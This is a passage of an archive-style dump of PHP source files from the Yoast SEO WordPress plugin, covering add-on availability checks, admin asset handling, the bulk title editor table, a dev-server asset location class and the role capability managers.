			'local-seo-for-yoast-seo' => [
				'url'          => WPSEO_Shortlinker::get( 'https://yoa.st/1ya' ),
				'title'        => 'Local SEO',
				'description'  => __( 'Rank better locally and in Google Maps, without breaking a sweat!', 'wordpress-seo' ),
				'installed'    => false,
				'slug'         => 'wordpress-seo-local/local-seo.php',
				'version_sync' => true,
				'premium'      => true,
			],

			'yoast-woocommerce-seo' => [
				'url'           => WPSEO_Shortlinker::get( 'https://yoa.st/1o0' ),
				'title'         => 'Yoast WooCommerce SEO',
				'description'   => sprintf(
					/* translators: %1$s expands to Yoast SEO */
					__( 'Seamlessly integrate WooCommerce with %1$s and get extra features!', 'wordpress-seo' ),
					'Yoast SEO'
				),
				'_dependencies' => [
					'WooCommerce' => [
						'slug'        => 'woocommerce/woocommerce.php', // Kept for backwards compatibility, in case external code uses get_dependencies(). Deprecated in 22.4.
						'conditional' => new WooCommerce_Conditional(),
					],
				],
				'installed'     => false,
				'slug'          => 'wpseo-woocommerce/wpseo-woocommerce.php',
				'version_sync'  => true,
				'premium'       => true,
			],
		];
	}

	/**
	 * Sets certain plugin properties based on WordPress' status.
	 *
	 * @return void
	 */
	protected function register_yoast_plugins_status() {

		foreach ( $this->plugins as $name => $plugin ) {

			$plugin_slug = $plugin['slug'];
			$plugin_path = WP_PLUGIN_DIR . '/' . $plugin_slug;

			if ( file_exists( $plugin_path ) ) {
				$plugin_data                         = get_plugin_data( $plugin_path, false, false );
				$this->plugins[ $name ]['installed'] = true;
				$this->plugins[ $name ]['version']   = $plugin_data['Version'];
				$this->plugins[ $name ]['active']    = is_plugin_active( $plugin_slug );
			}
		}
	}

	/**
	 * Checks if there are dependencies available for the plugin.
	 *
	 * @param array $plugin The information available about the plugin.
	 *
	 * @return bool Whether there is a dependency present.
	 */
	public function has_dependencies( $plugin ) {
		return ( isset( $plugin['_dependencies'] ) && ! empty( $plugin['_dependencies'] ) );
	}

	/**
	 * Gets the dependencies for the plugin.
	 *
	 * @param array $plugin The information available about the plugin.
	 *
	 * @return array Array containing all the dependencies associated with the plugin.
	 */
	public function get_dependencies( $plugin ) {
		if ( ! $this->has_dependencies( $plugin ) ) {
			return [];
		}

		return $plugin['_dependencies'];
	}

	/**
	 * Checks if all dependencies are satisfied.
	 *
	 * @param array $plugin The information available about the plugin.
	 *
	 * @return bool Whether or not the dependencies are satisfied.
	 */
	public function dependencies_are_satisfied( $plugin ) {
		if ( ! $this->has_dependencies( $plugin ) ) {
			return true;
		}

		$dependencies        = $this->get_dependencies( $plugin );
		$active_dependencies = array_filter( $dependencies, [ $this, 'is_dependency_active' ] );

		return count( $active_dependencies ) === count( $dependencies );
	}

	/**
	 * Checks whether or not one of the plugins is properly installed and usable.
	 *
	 * @param array $plugin The information available about the plugin.
	 *
	 * @return bool Whether or not the plugin is properly installed.
	 */
	public function is_installed( $plugin ) {
		if ( empty( $plugin ) ) {
			return false;
		}

		return $this->is_available( $plugin );
	}

	/**
	 * Checks for the availability of the plugin.
	 *
	 * @param array $plugin The information available about the plugin.
	 *
	 * @return bool Whether or not the plugin is available.
	 */
	public function is_available( $plugin ) {
		return isset( $plugin['installed'] ) && $plugin['installed'] === true;
	}

	/**
	 * Checks whether a dependency is active.
	 *
	 * @param array<string, Conditional> $dependency The information about the dependency to look for.
	 *
	 * @return bool Whether or not the dependency is active.
	 */
	public function is_dependency_active( $dependency ) {
		return $dependency['conditional']->is_met();
	}

	/**
	 * Gets an array of plugins that have defined dependencies.
	 *
	 * @return array Array of the plugins that have dependencies.
	 */
	public function get_plugins_with_dependencies() {
		return array_filter( $this->plugins, [ $this, 'has_dependencies' ] );
	}

	/**
	 * Determines whether or not a plugin is active.
	 *
	 * @param string $plugin The plugin slug to check.
	 *
	 * @return bool Whether or not the plugin is active.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 */
	public function is_active( $plugin ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'is_plugin_active' );

		return is_plugin_active( $plugin );
	}

	/**
	 * Gets all the possibly available plugins.
	 *
	 * @return array Array containing the information about the plugins.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 */
	public function get_plugins() {
		_deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'WPSEO_Addon_Manager::get_addon_filenames' );

		return $this->plugins;
	}

	/**
	 * Gets a specific plugin. Returns an empty array if it cannot be found.
	 *
	 * @param string $plugin The plugin to search for.
	 *
	 * @return array The plugin properties.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 */
	public function get_plugin( $plugin ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found, VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- needed for BC reasons
		_deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'WPSEO_Addon_Manager::get_plugin_file' );
		if ( ! isset( $this->plugins[ $plugin ] ) ) {
			return [];
		}

		return $this->plugins[ $plugin ];
	}

	/**
	 * Gets the version of the plugin.
	 *
	 * @param array $plugin The information available about the plugin.
	 *
	 * @return string The version associated with the plugin.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 */
	public function get_version( $plugin ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found, VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- needed for BC reasons
		_deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'WPSEO_Addon_Manager::get_installed_addons_versions' );
		if ( ! isset( $plugin['version'] ) ) {
			return '';
		}

		return $plugin['version'];
	}

	/**
	 * Checks whether a dependency is available.
	 *
	 * @param array $dependency The information about the dependency to look for.
	 *
	 * @return bool Whether or not the dependency is available.
	 * @deprecated 22.4
	 * @codeCoverageIgnore
	 */
	public function is_dependency_available( $dependency ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 22.4' );

		return isset( get_plugins()[ $dependency['slug'] ] );
	}

	/**
	 * Gets the names of the dependencies.
	 *
	 * @param array $plugin The plugin to get the dependency names from.
	 *
	 * @return array Array containing the names of the associated dependencies.
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 */
	public function get_dependency_names( $plugin ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found, VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- needed for BC reasons
		_deprecated_function( __METHOD__, 'Yoast SEO 23.4' );
		if ( ! $this->has_dependencies( $plugin ) ) {
			return [];
		}

		return array_keys( $plugin['_dependencies'] );
	}

	/**
	 * Determines whether or not a plugin is a Premium product.
	 *
	 * @param array $plugin The plugin to check.
	 *
	 * @return bool Whether or not the plugin is a Premium product.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 */
	public function is_premium( $plugin ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 23.4' );

		return isset( $plugin['premium'] ) && $plugin['premium'] === true;
	}

	/**
	 * Gets all installed plugins.
	 *
	 * @return array The installed plugins.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 */
	public function get_installed_plugins() {

		_deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'WPSEO_Addon_Manager::get_installed_addons_versions' );
		$installed = [];

		foreach ( $this->plugins as $plugin_key => $plugin ) {
			if ( $this->is_installed( $plugin ) ) {
				$installed[ $plugin_key ] = $plugin;
			}
		}

		return $installed;
	}
}
wordpress-seo/admin/class-asset.php000064400000010465147510273110013412 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents a WPSEO asset
 */
class WPSEO_Admin_Asset {

	/**
	 * Constant used to identify file type as a JS file.
	 *
	 * @var string
	 */
	public const TYPE_JS = 'js';

	/**
	 * Constant used to identify file type as a CSS file.
	 *
	 * @var string
	 */
	public const TYPE_CSS = 'css';

	/**
	 * The name option identifier.
	 *
	 * @var string
	 */
	public const NAME = 'name';

	/**
	 * The source option identifier.
	 *
	 * @var string
	 */
	public const SRC = 'src';

	/**
	 * The dependencies option identifier.
	 *
	 * @var string
	 */
	public const DEPS = 'deps';

	/**
	 * The version option identifier.
	 *
	 * @var string
	 */
	public const VERSION = 'version';

	/* Style specific. */

	/**
	 * The media option identifier.
	 *
	 * @var string
	 */
	public const MEDIA = 'media';

	/**
	 * The rtl option identifier.
	 *
	 * @var string
	 */
	public const RTL = 'rtl';

	/* Script specific. */

	/**
	 * The "in footer" option identifier.
	 *
	 * @var string
	 */
	public const IN_FOOTER = 'in_footer';

	/**
	 * Asset identifier.
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * Path to the asset.
	 *
	 * @var string
	 */
	protected $src;

	/**
	 * Asset dependencies.
	 *
	 * @var string|array
	 */
	protected $deps;

	/**
	 * Asset version.
	 *
	 * @var string
	 */
	protected $version;

	/**
	 * For CSS Assets. The type of media for which this stylesheet has been defined.
	 *
	 * See https://www.w3.org/TR/CSS2/media.html#media-types.
	 *
	 * @var string
	 */
	protected $media;

	/**
	 * For JS Assets. Whether or not the script should be loaded in the footer.
	 *
	 * @var bool
	 */
	protected $in_footer;

	/**
	 * For JS Assets. The script's async/defer strategy.
	 *
	 * @var string
	 */
	protected $strategy;

	/**
	 * For CSS Assets. Whether this stylesheet is a right-to-left stylesheet.
	 *
	 * @var bool
	 */
	protected $rtl;

	/**
	 * File suffix.
	 *
	 * @var string
	 */
	protected $suffix;

	/**
	 * Default asset arguments.
	 *
	 * @var array
	 */
	private $defaults = [
		'deps'      => [],
		'in_footer' => true,
		'rtl'       => true,
		'media'     => 'all',
		'version'   => '',
		'suffix'    => '',
		'strategy'  => '',
	];

	/**
	 * Constructs an instance of the WPSEO_Admin_Asset class.
	 *
	 * @param array $args The arguments for this asset.
	 *
	 * @throws InvalidArgumentException Throws when no name or src has been provided.
	 */
	public function __construct( array $args ) {
		if ( ! isset( $args['name'] ) ) {
			throw new InvalidArgumentException( 'name is a required argument' );
		}

		if ( ! isset( $args['src'] ) ) {
			throw new InvalidArgumentException( 'src is a required argument' );
		}

		$args = array_merge( $this->defaults, $args );

		$this->name      = $args['name'];
		$this->src       = $args['src'];
		$this->deps      = $args['deps'];
		$this->version   = $args['version'];
		$this->media     = $args['media'];
		$this->in_footer = $args['in_footer'];
		$this->strategy  = $args['strategy'];
		$this->rtl       = $args['rtl'];
		$this->suffix    = $args['suffix'];
	}

	/**
	 * Returns the asset identifier.
	 *
	 * @return string
	 */
	public function get_name() {
		return $this->name;
	}

	/**
	 * Returns the path to the asset.
	 *
	 * @return string
	 */
	public function get_src() {
		return $this->src;
	}

	/**
	 * Returns the asset dependencies.
	 *
	 * @return array|string
	 */
	public function get_deps() {
		return $this->deps;
	}

	/**
	 * Returns the asset version.
	 *
	 * @return string|null
	 */
	public function get_version() {
		if ( ! empty( $this->version ) ) {
			return $this->version;
		}

		return null;
	}

	/**
	 * Returns the media type for CSS assets.
	 *
	 * @return string
	 */
	public function get_media() {
		return $this->media;
	}

	/**
	 * Returns whether a script asset should be loaded in the footer of the page.
	 *
	 * @return bool
	 */
	public function is_in_footer() {
		return $this->in_footer;
	}

	/**
	 * Returns the script asset's async/defer loading strategy.
	 *
	 * @return string
	 */
	public function get_strategy() {
		return $this->strategy;
	}

	/**
	 * Returns whether this CSS has a RTL counterpart.
	 *
	 * @return bool
	 */
	public function has_rtl() {
		return $this->rtl;
	}

	/**
	 * Returns the file suffix.
	 *
	 * @return string
	 */
	public function get_suffix() {
		return $this->suffix;
	}
}
wordpress-seo/admin/class-bulk-title-editor-list-table.php000064400000004356147510273110017673 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Bulk Editor
 * @since   1.5.0
 */

/**
 * Implements table for bulk title editing.
 */
class WPSEO_Bulk_Title_Editor_List_Table extends WPSEO_Bulk_List_Table {

	/**
	 * Current type for this class will be title.
	 *
	 * @var string
	 */
	protected $page_type = 'title';

	/**
	 * Settings with are used in __construct.
	 *
	 * @var array
	 */
	protected $settings = [
		'singular' => 'wpseo_bulk_title',
		'plural'   => 'wpseo_bulk_titles',
		'ajax'     => true,
	];

	/**
	 * The field in the database where meta field is saved.
	 *
	 * @var string
	 */
	protected $target_db_field = 'title';

	/**
	 * The columns shown on the table.
	 *
	 * @return array
	 */
	public function get_columns() {

		$columns = [
			/* translators: %1$s expands to Yoast SEO */
			'col_existing_yoast_seo_title' => sprintf( __( 'Existing %1$s Title', 'wordpress-seo' ), 'Yoast SEO' ),
			/* translators: %1$s expands to Yoast SEO */
			'col_new_yoast_seo_title'      => sprintf( __( 'New %1$s Title', 'wordpress-seo' ), 'Yoast SEO' ),
		];

		return $this->merge_columns( $columns );
	}

	/**
	 * Parse the title columns.
	 *
	 * @param string $column_name Column name.
	 * @param object $record      Data object.
	 * @param string $attributes  HTML attributes.
	 *
	 * @return string
	 */
	protected function parse_page_specific_column( $column_name, $record, $attributes ) {

		// Fill meta data if exists in $this->meta_data.
		$meta_data = ( ! empty( $this->meta_data[ $record->ID ] ) ) ? $this->meta_data[ $record->ID ] : [];

		switch ( $column_name ) {
			case 'col_existing_yoast_seo_title':
				// @todo Inconsistent return/echo behavior R.
				// I traced the escaping of the attributes to WPSEO_Bulk_List_Table::column_attributes.
				// The output of WPSEO_Bulk_List_Table::parse_meta_data_field is properly escaped.
				// phpcs:ignore WordPress.Security.EscapeOutput
				echo $this->parse_meta_data_field( $record->ID, $attributes );
				break;

			case 'col_new_yoast_seo_title':
				return sprintf(
					'<input type="text" id="%1$s" name="%1$s" class="wpseo-new-title" data-id="%2$s" aria-labelledby="col_new_yoast_seo_title" />',
					'wpseo-new-title-' . $record->ID,
					$record->ID
				);
		}

		unset( $meta_data );
	}
}
wordpress-seo/admin/class-admin-asset-dev-server-location.php000064400000003210147510273110020354 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Changes the asset paths to dev server paths.
 */
final class WPSEO_Admin_Asset_Dev_Server_Location implements WPSEO_Admin_Asset_Location {

	/**
	 * Holds the dev server's default URL.
	 *
	 * @var string
	 */
	public const DEFAULT_URL = 'http://localhost:8080';

	/**
	 * Holds the url where the server is located.
	 *
	 * @var string
	 */
	private $url;

	/**
	 * Class constructor.
	 *
	 * @param string|null $url Where the dev server is located.
	 */
	public function __construct( $url = null ) {
		if ( $url === null ) {
			$url = self::DEFAULT_URL;
		}

		$this->url = $url;
	}

	/**
	 * Determines the URL of the asset on the dev server.
	 *
	 * @param WPSEO_Admin_Asset $asset The asset to determine the URL for.
	 * @param string            $type  The type of asset. Usually JS or CSS.
	 *
	 * @return string The URL of the asset.
	 */
	public function get_url( WPSEO_Admin_Asset $asset, $type ) {
		if ( $type === WPSEO_Admin_Asset::TYPE_CSS ) {
			return $this->get_default_url( $asset, $type );
		}

		$path = sprintf( 'js/dist/%s%s.js', $asset->get_src(), $asset->get_suffix() );

		return trailingslashit( $this->url ) . $path;
	}

	/**
	 * Determines the URL of the asset not using the dev server.
	 *
	 * @param WPSEO_Admin_Asset $asset The asset to determine the URL for.
	 * @param string            $type  The type of asset.
	 *
	 * @return string The URL of the asset file.
	 */
	public function get_default_url( WPSEO_Admin_Asset $asset, $type ) {
		$default_location = new WPSEO_Admin_Asset_SEO_Location( WPSEO_FILE );

		return $default_location->get_url( $asset, $type );
	}
}
wordpress-seo/admin/capabilities/class-capability-manager-factory.php000064400000001373147510273110022120 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Capability Manager Factory.
 */
class WPSEO_Capability_Manager_Factory {

	/**
	 * Returns the Manager to use.
	 *
	 * @param string $plugin_type Whether it's Free or Premium.
	 *
	 * @return WPSEO_Capability_Manager Manager to use.
	 */
	public static function get( $plugin_type = 'free' ) {
		static $manager = [];

		if ( ! array_key_exists( $plugin_type, $manager ) ) {
			if ( function_exists( 'wpcom_vip_add_role_caps' ) ) {
				$manager[ $plugin_type ] = new WPSEO_Capability_Manager_VIP();
			}

			if ( ! function_exists( 'wpcom_vip_add_role_caps' ) ) {
				$manager[ $plugin_type ] = new WPSEO_Capability_Manager_WP();
			}
		}

		return $manager[ $plugin_type ];
	}
}
wordpress-seo/admin/capabilities/class-capability-manager-integration.php000064400000006053147510273110022774 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Integrates Yoast SEO capabilities with third party role manager plugins.
 *
 * Integrates with: Members
 * Integrates with: User Role Editor
 */
class WPSEO_Capability_Manager_Integration implements WPSEO_WordPress_Integration {

	/**
	 * Capability manager to use.
	 *
	 * @var WPSEO_Capability_Manager
	 */
	public $manager;

	/**
	 * WPSEO_Capability_Manager_Integration constructor.
	 *
	 * @param WPSEO_Capability_Manager $manager The capability manager to use.
	 */
	public function __construct( WPSEO_Capability_Manager $manager ) {
		$this->manager = $manager;
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_filter( 'members_get_capabilities', [ $this, 'get_capabilities' ] );
		add_action( 'members_register_cap_groups', [ $this, 'action_members_register_cap_group' ] );

		add_filter( 'ure_capabilities_groups_tree', [ $this, 'filter_ure_capabilities_groups_tree' ] );
		add_filter( 'ure_custom_capability_groups', [ $this, 'filter_ure_custom_capability_groups' ], 10, 2 );
	}

	/**
	 * Get the Yoast SEO capabilities.
	 * Optionally append them to an existing array.
	 *
	 * @param  array $caps Optional existing capability list.
	 * @return array
	 */
	public function get_capabilities( array $caps = [] ) {
		if ( ! did_action( 'wpseo_register_capabilities' ) ) {
			do_action( 'wpseo_register_capabilities' );
		}

		return array_merge( $caps, $this->manager->get_capabilities() );
	}

	/**
	 * Add capabilities to its own group in the Members plugin.
	 *
	 * @see members_register_cap_group()
	 *
	 * @return void
	 */
	public function action_members_register_cap_group() {
		if ( ! function_exists( 'members_register_cap_group' ) ) {
			return;
		}

		// Register the yoast group.
		$args = [
			'label'      => esc_html__( 'Yoast SEO', 'wordpress-seo' ),
			'caps'       => $this->get_capabilities(),
			'icon'       => 'dashicons-admin-plugins',
			'diff_added' => true,
		];
		members_register_cap_group( 'wordpress-seo', $args );
	}

	/**
	 * Adds Yoast SEO capability group in the User Role Editor plugin.
	 *
	 * @see URE_Capabilities_Groups_Manager::get_groups_tree()
	 *
	 * @param array $groups Current groups.
	 *
	 * @return array Filtered list of capabilty groups.
	 */
	public function filter_ure_capabilities_groups_tree( $groups = [] ) {
		$groups = (array) $groups;

		$groups['wordpress-seo'] = [
			'caption' => 'Yoast SEO',
			'parent'  => 'custom',
			'level'   => 3,
		];

		return $groups;
	}

	/**
	 * Adds capabilities to the Yoast SEO group in the User Role Editor plugin.
	 *
	 * @see URE_Capabilities_Groups_Manager::get_cap_groups()
	 *
	 * @param array  $groups Current capability groups.
	 * @param string $cap_id Capability identifier.
	 *
	 * @return array List of filtered groups.
	 */
	public function filter_ure_custom_capability_groups( $groups = [], $cap_id = '' ) {
		if ( in_array( $cap_id, $this->get_capabilities(), true ) ) {
			$groups   = (array) $groups;
			$groups[] = 'wordpress-seo';
		}

		return $groups;
	}
}
wordpress-seo/admin/capabilities/class-register-capabilities.php000064400000006344147510273110021200 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Capabilities registration class.
 */
class WPSEO_Register_Capabilities implements WPSEO_WordPress_Integration {

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'wpseo_register_capabilities', [ $this, 'register' ] );

		if ( is_multisite() ) {
			add_action( 'user_has_cap', [ $this, 'filter_user_has_wpseo_manage_options_cap' ], 10, 4 );
		}

		/**
		 * Maybe add manage_privacy_options capability for wpseo_manager user role.
		 */
		add_filter( 'map_meta_cap', [ $this, 'map_meta_cap_for_seo_manager' ], 10, 2 );
	}

	/**
	 * Registers the capabilities.
	 *
	 * @return void
	 */
	public function register() {
		$manager = WPSEO_Capability_Manager_Factory::get();

		$manager->register( 'wpseo_bulk_edit', [ 'editor', 'wpseo_editor', 'wpseo_manager' ] );
		$manager->register( 'wpseo_edit_advanced_metadata', [ 'editor', 'wpseo_editor', 'wpseo_manager' ] );

		$manager->register( 'wpseo_manage_options', [ 'administrator', 'wpseo_manager' ] );
		$manager->register( 'view_site_health_checks', [ 'wpseo_manager' ] );
	}

	/**
	 * Revokes the 'wpseo_manage_options' capability from administrator users if it should
	 * only be granted to network administrators.
	 *
	 * @param array   $allcaps An array of all the user's capabilities.
	 * @param array   $caps    Actual capabilities being checked.
	 * @param array   $args    Optional parameters passed to has_cap(), typically object ID.
	 * @param WP_User $user    The user object.
	 *
	 * @return array Possibly modified array of the user's capabilities.
	 */
	public function filter_user_has_wpseo_manage_options_cap( $allcaps, $caps, $args, $user ) {

		// We only need to do something if 'wpseo_manage_options' is being checked.
		if ( ! in_array( 'wpseo_manage_options', $caps, true ) ) {
			return $allcaps;
		}

		// If the user does not have 'wpseo_manage_options' anyway, we don't need to revoke access.
		if ( empty( $allcaps['wpseo_manage_options'] ) ) {
			return $allcaps;
		}

		// If the user does not have 'delete_users', they are not an administrator.
		if ( empty( $allcaps['delete_users'] ) ) {
			return $allcaps;
		}

		$options = WPSEO_Options::get_instance();

		if ( $options->get( 'access' ) === 'superadmin' && ! is_super_admin( $user->ID ) ) {
			unset( $allcaps['wpseo_manage_options'] );
		}

		return $allcaps;
	}

	/**
	 * Maybe add manage_privacy_options capability for wpseo_manager user role.
	 *
	 * @param string[] $caps Primitive capabilities required of the user.
	 * @param string[] $cap  Capability being checked.
	 *
	 * @return string[] Filtered primitive capabilities required of the user.
	 */
	public function map_meta_cap_for_seo_manager( $caps, $cap ) {
		$user = wp_get_current_user();

		// No multisite support.
		if ( is_multisite() ) {
			return $caps;
		}

		if ( ! is_array( $user->roles ) ) {
			return $caps;
		}

		// User must be of role wpseo_manager.
		if ( ! in_array( 'wpseo_manager', $user->roles, true ) ) {
			return $caps;
		}

		// Remove manage_options cap requirement if requested cap is manage_privacy_options.
		if ( $cap === 'manage_privacy_options' ) {
			return array_diff( $caps, [ 'manage_options' ] );
		}

		return $caps;
	}
}
wordpress-seo/admin/capabilities/class-capability-utils.php000064400000004536147510273110020205 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Capability Utils collection.
 */
class WPSEO_Capability_Utils {

	/**
	 * Checks if the user has the proper capabilities.
	 *
	 * @param string $capability Capability to check.
	 *
	 * @return bool True if the user has the proper rights.
	 */
	public static function current_user_can( $capability ) {
		if ( $capability === 'wpseo_manage_options' ) {
			return self::has( $capability );
		}

		return self::has_any( [ 'wpseo_manage_options', $capability ] );
	}

	/**
	 * Retrieves the users that have the specified capability.
	 *
	 * @param string $capability The name of the capability.
	 *
	 * @return array The users that have the capability.
	 */
	public static function get_applicable_users( $capability ) {
		$applicable_roles = self::get_applicable_roles( $capability );

		if ( $applicable_roles === [] ) {
			return [];
		}

		return get_users( [ 'role__in' => $applicable_roles ] );
	}

	/**
	 * Retrieves the roles that have the specified capability.
	 *
	 * @param string $capability The name of the capability.
	 *
	 * @return array The names of the roles that have the capability.
	 */
	public static function get_applicable_roles( $capability ) {
		$roles      = wp_roles();
		$role_names = $roles->get_names();

		$applicable_roles = [];
		foreach ( array_keys( $role_names ) as $role_name ) {
			$role = $roles->get_role( $role_name );

			if ( ! $role ) {
				continue;
			}

			// Add role if it has the capability.
			if ( array_key_exists( $capability, $role->capabilities ) && $role->capabilities[ $capability ] === true ) {
				$applicable_roles[] = $role_name;
			}
		}

		return $applicable_roles;
	}

	/**
	 * Checks if the current user has at least one of the supplied capabilities.
	 *
	 * @param array $capabilities Capabilities to check against.
	 *
	 * @return bool True if the user has at least one capability.
	 */
	protected static function has_any( array $capabilities ) {
		foreach ( $capabilities as $capability ) {
			if ( self::has( $capability ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Checks if the user has a certain capability.
	 *
	 * @param string $capability Capability to check against.
	 *
	 * @return bool True if the user has the capability.
	 */
	protected static function has( $capability ) {
		return current_user_can( $capability );
	}
}
wordpress-seo/admin/capabilities/class-capability-manager.php000064400000001455147510273110020454 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Capability Manager interface.
 */
interface WPSEO_Capability_Manager {

	/**
	 * Registers a capability.
	 *
	 * @param string $capability Capability to register.
	 * @param array  $roles      Roles to add the capability to.
	 * @param bool   $overwrite  Optional. Use add or overwrite as registration method.
	 */
	public function register( $capability, array $roles, $overwrite = false );

	/**
	 * Adds the registerd capabilities to the system.
	 */
	public function add();

	/**
	 * Removes the registered capabilities from the system.
	 */
	public function remove();

	/**
	 * Returns the list of registered capabilities.
	 *
	 * @return string[] List of registered capabilities.
	 */
	public function get_capabilities();
}
wordpress-seo/admin/capabilities/class-capability-manager-wp.php000064400000002331147510273110021072 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Default WordPress capability manager implementation.
 */
final class WPSEO_Capability_Manager_WP extends WPSEO_Abstract_Capability_Manager {

	/**
	 * Adds the capabilities to the roles.
	 *
	 * @return void
	 */
	public function add() {
		foreach ( $this->capabilities as $capability => $roles ) {
			$filtered_roles = $this->filter_roles( $capability, $roles );

			$wp_roles = $this->get_wp_roles( $filtered_roles );
			foreach ( $wp_roles as $wp_role ) {
				$wp_role->add_cap( $capability );
			}
		}
	}

	/**
	 * Unregisters the capabilities from the system.
	 *
	 * @return void
	 */
	public function remove() {
		// Remove from any roles it has been added to.
		$roles = wp_roles()->get_names();
		$roles = array_keys( $roles );

		foreach ( $this->capabilities as $capability => $_roles ) {
			$registered_roles = array_unique( array_merge( $roles, $this->capabilities[ $capability ] ) );

			// Allow filtering of roles.
			$filtered_roles = $this->filter_roles( $capability, $registered_roles );

			$wp_roles = $this->get_wp_roles( $filtered_roles );
			foreach ( $wp_roles as $wp_role ) {
				$wp_role->remove_cap( $capability );
			}
		}
	}
}
wordpress-seo/admin/capabilities/class-capability-manager-vip.php000064400000003640147510273110021246 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * VIP implementation of the Capability Manager.
 */
final class WPSEO_Capability_Manager_VIP extends WPSEO_Abstract_Capability_Manager {

	/**
	 * Adds the registered capabilities to the system.
	 *
	 * @return void
	 */
	public function add() {
		$role_capabilities = [];
		foreach ( $this->capabilities as $capability => $roles ) {
			$role_capabilities = $this->get_role_capabilities( $role_capabilities, $capability, $roles );
		}

		foreach ( $role_capabilities as $role => $capabilities ) {
			wpcom_vip_add_role_caps( $role, $capabilities );
		}
	}

	/**
	 * Removes the registered capabilities from the system
	 *
	 * @return void
	 */
	public function remove() {
		// Remove from any role it has been added to.
		$roles = wp_roles()->get_names();
		$roles = array_keys( $roles );

		$role_capabilities = [];
		foreach ( array_keys( $this->capabilities ) as $capability ) {
			// Allow filtering of roles.
			$role_capabilities = $this->get_role_capabilities( $role_capabilities, $capability, $roles );
		}

		foreach ( $role_capabilities as $role => $capabilities ) {
			wpcom_vip_remove_role_caps( $role, $capabilities );
		}
	}

	/**
	 * Returns the roles which the capability is registered on.
	 *
	 * @param array  $role_capabilities List of all roles with their capabilities.
	 * @param string $capability        Capability to filter roles for.
	 * @param array  $roles             List of default roles.
	 *
	 * @return array List of capabilities.
	 */
	protected function get_role_capabilities( $role_capabilities, $capability, $roles ) {
		// Allow filtering of roles.
		$filtered_roles = $this->filter_roles( $capability, $roles );

		foreach ( $filtered_roles as $role ) {
			if ( ! isset( $add_role_caps[ $role ] ) ) {
				$role_capabilities[ $role ] = [];
			}

			$role_capabilities[ $role ][] = $capability;
		}

		return $role_capabilities;
	}
}
wordpress-seo/admin/capabilities/class-abstract-capability-manager.php000064400000004360147510273110022253 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Abstract Capability Manager shared code.
 */
abstract class WPSEO_Abstract_Capability_Manager implements WPSEO_Capability_Manager {

	/**
	 * Registered capabilities.
	 *
	 * @var array
	 */
	protected $capabilities = [];

	/**
	 * Registers a capability.
	 *
	 * @param string $capability Capability to register.
	 * @param array  $roles      Roles to add the capability to.
	 * @param bool   $overwrite  Optional. Use add or overwrite as registration method.
	 *
	 * @return void
	 */
	public function register( $capability, array $roles, $overwrite = false ) {
		if ( $overwrite || ! isset( $this->capabilities[ $capability ] ) ) {
			$this->capabilities[ $capability ] = $roles;

			return;
		}

		// Combine configurations.
		$this->capabilities[ $capability ] = array_merge( $roles, $this->capabilities[ $capability ] );

		// Remove doubles.
		$this->capabilities[ $capability ] = array_unique( $this->capabilities[ $capability ] );
	}

	/**
	 * Returns the list of registered capabilitities.
	 *
	 * @return string[] Registered capabilities.
	 */
	public function get_capabilities() {
		return array_keys( $this->capabilities );
	}

	/**
	 * Returns a list of WP_Role roles.
	 *
	 * The string array of role names are converted to actual WP_Role objects.
	 * These are needed to be able to use the API on them.
	 *
	 * @param array $roles Roles to retrieve the objects for.
	 *
	 * @return WP_Role[] List of WP_Role objects.
	 */
	protected function get_wp_roles( array $roles ) {
		$wp_roles = array_map( 'get_role', $roles );

		return array_filter( $wp_roles );
	}

	/**
	 * Filter capability roles.
	 *
	 * @param string $capability Capability to filter roles for.
	 * @param array  $roles      List of roles which can be filtered.
	 *
	 * @return array Filtered list of roles for the capability.
	 */
	protected function filter_roles( $capability, array $roles ) {
		/**
		 * Filter: Allow changing roles that a capability is added to.
		 *
		 * @param array $roles The default roles to be filtered.
		 */
		$filtered = apply_filters( $capability . '_roles', $roles );

		// Make sure we have the expected type.
		if ( ! is_array( $filtered ) ) {
			return [];
		}

		return $filtered;
	}
}
